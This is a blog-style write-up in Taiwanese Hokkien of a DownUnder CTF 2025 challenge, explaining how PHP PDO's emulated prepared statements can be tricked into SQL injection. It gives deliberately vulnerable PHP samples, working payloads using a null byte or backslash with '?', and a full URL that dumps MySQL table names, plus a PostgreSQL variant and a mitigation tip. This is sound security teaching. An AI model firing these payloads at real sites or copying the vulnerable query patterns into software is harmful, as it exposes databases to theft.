前幾工攏是講一寡佇 conference 內底發表的內容,咱這擺來講一个出佇 CTF 的題目:DownUnder CTF 2025 - legendary by hashkitten
是講 hashkitten 攏會出一寡好耍的後端題,我足佮意的!佇咱現代的 CTF 實在是較罕得看著趣味的後端題矣,攏是一thoo-lá-khuh的前端 QQ
這篇欲來講的是,一个 PHP PDO 用甲好勢好勢,煞閣會當 SQL injection 的新型攻擊步數 —— 準講你用 prepared statements 矣,嘛凡勢會因為 PDO 的一个特性,予歹人揣著注 SQL 的機會。
一般來講,咱攏會認為 PDO prepare statement 會共咱的 SQL 命令佮參數拆開送去資料庫,得著預防 SQL injection 的效果。譬論講這段 khóo:
<?php
$dsn = "mysql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'root', '');
$stmt = $pdo->prepare('SELECT id, name, sku FROM fruit WHERE name = ?');
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($data as $v) {
echo join(' : ', $v) . PHP_EOL;
}
這段 khóo 咱看是真安全,毋管你 name
參數按怎傳,攏袂發生 SQL injection —— 無毋著,毋過伊敢真正是用「正•prepared statements」來做代誌?
代誌無咱戇人想的遐爾簡單。PDO 咱若無特別設定就是走模擬 (emulate) 的 prepared statements,袂真正去使用 MySQL 原生的 prepared statement API。意思是講,PDO 會佇共 query 送出去進前,家己先共處理好勢的參數跳脫 (escaping),才共完整的 SQL 指令送去資料庫遐。
為著欲共參數囥入去正確的所在,PDO 內底有一个細隻的 SQL parser,認有 comment、string 等等的語法,才袂共毋是參數的 ?
嘛當做參數去換掉。毋過,就是這隻 parser 考慮的無夠齊勻,才會予咱有機會共伊騙。
有當時仔咱需要動態決定 select 的欄位,因為 PDO 參數綁定功能袂使用佇欄位名,所以工程師可能會直接共變數插入去 SQL 字串,親像按呢:
<?php
$dsn = "mysql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'root', '');
// 為著安全用倒引號包起來,嘛共內部的倒引號跳脫
$col = '`' . str_replace('`', '``', $_GET['col']) . '`';
$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($data as $v) {
echo join(' : ', $v) . PHP_EOL;
}
這段 code 有共使用者傳入來的 col
參數好好仔用倒引號 (backtick) 包起來,嘛有共 name
參數好好仔囥入去 prepare statement,看起來概成是袂夆 injection。毋過當然,這段 code 原仔是有問題覕佇咧內底的。
問題其實是出佇 PDO 內底彼隻無夠完整的 parser。咱若佇 col
參數送入一个 null byte (%00
),PDO 的 parser 會佇讀著 null byte 以後就袂去解析(kái-sik)欄位名,致使講後壁的字元予誤判。
具體來講欲按怎拍,咱一步一步來看:
咱先試看覓這个 payload:http://localhost:8000/?name=x&col=?%00
這時陣,你會看著這个錯誤:Fatal error: Uncaught PDOException: SQLSTATE[HY093]: Invalid parameter number: number of bound variables does not match number of tokens
這代表 PDO parser 認為這个 SQL 有兩个 ?
參數,毋過咱 execute
遐干焦提供一个 name
參數。這證明咱已經成功注入去一个 PDO 看有的參數!
原因佇咧咱 PHP 生出這段 SQL:
SELECT `'x`;#'#\0` FROM fruit WHERE name = ?
/* (等於是) SELECT `'x`; */
PDO parser 處理第一个反引號了後,因為頭前 null byte (\0
) 的關係,tsua̋nn 無共 ?`#\0
當做是一个完整的欄位名,煞共 ?
當做是參數。
既然咱會當注一个 ?
入去,閣會當用 name
參數來控制彼个 ?
的內容,咱就有法度來 injection。
咱的目標是鬥出這款的 SQL:
SELECT `\'x` FROM (SELECT table_name AS `\'x` from information_schema.tables)y;
為著得著這个目的,咱愛送這款的 payload:
col
= \?%23%00
name
= x` FROM (SELECT table_name AS `\'x` from information_schema.tables)y;%23
完整的 URL 看起來會生按呢:
http://localhost:8000/?name=x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23&col=\?%23%00
這个 payload 會予 PDO 產生這款的 SQL 指令:
SELECT `\'x` FROM (SELECT table_name AS `\'x` from information_schema.tables)y;#'#\0` FROM fruit WHERE name = ?
MySQL 會去走分號進前的部份,成功共 information_schema.tables
內底所有的 table name 攏 select 出來,造成 SQL injection 的目的!
佇 PHP 8.4 進前,PDO parser 的問題閣較濟。因為舊版的 parser 無處理 MySQL 的反引號,而且攏共字串當做是會使用倒撇號(\)來跳脫的,這佇無支援倒撇號跳脫的資料庫(譬論講 PostgreSQL)會產生閣較嚴重的問題。
下跤這段佇 PostgreSQL 咱看可能安全的 code:
<?php
$dsn = "pgsql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'demo', '', [PDO::ATTR_EMULATE_PREPARES => true]);
$sku = $pdo->quote($_GET['sku']); // 使用內佮的 quote 函數
$stmt = $pdo->prepare("SELECT * FROM fruit WHERE sku = $sku AND name = ?");
$stmt->execute([$_GET['name']]);
攻擊者干焦需要傳 sku=\'?--
這款 payload,就會當騙過 PDO parser,予伊認為 '\'
是一个有跳脫的單引號,煞共後壁的 ?
當做是參數,造成 injection。
這个攻擊步數提醒著咱,就算講有用 prepared statements 嘛毋是絕對安全。問題的底就是 PDO 的模擬 prepared statements 機制。
對開發者來講:
PDO::ATTR_EMULATE_PREPARES
做 false
。對咱駭客來講:
\'?
抑是 ?%00
這款 payload 來試看覓敢有這款無注意著的 SQL injection 漏縫。